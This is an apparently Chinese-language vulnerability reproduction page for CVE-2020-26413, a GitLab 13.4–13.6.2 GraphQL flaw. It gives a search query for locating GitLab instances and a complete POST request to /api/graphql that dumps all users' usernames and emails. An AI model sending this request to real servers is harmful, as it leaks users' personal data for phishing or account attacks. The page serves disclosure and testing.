跳转至

GitLab Graphql邮箱信息泄露漏洞 CVE-2020-26413

漏洞描述

GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名

漏洞影响

GitLab 13.4 - 13.6.2

网络测绘

title="GitLab"

漏洞复现

漏洞来源为 hackone上的一篇公开报告


img

意思为当使用构造的语句在接口查询时会返回邮箱信息,如图


img

Gitlab本身不允许获取账号邮箱信息,这里通过调用 Graphql 用户名查询造成了邮箱泄露漏洞

查看完报告后发现漏洞利用需要有账号用户名,在不知道的情况下无法获取邮箱,在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱

img

发包调用了 /api/graphql 接口发送数据

完整数据包为

POST /api/graphql HTTP/1.1
Host:
Content-Length: 212
Content-Type: application/json


{"query":"{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }","variables":null,"operationName":null}

img

成功返回数据,造成 Gitlab的用户邮箱信息泄露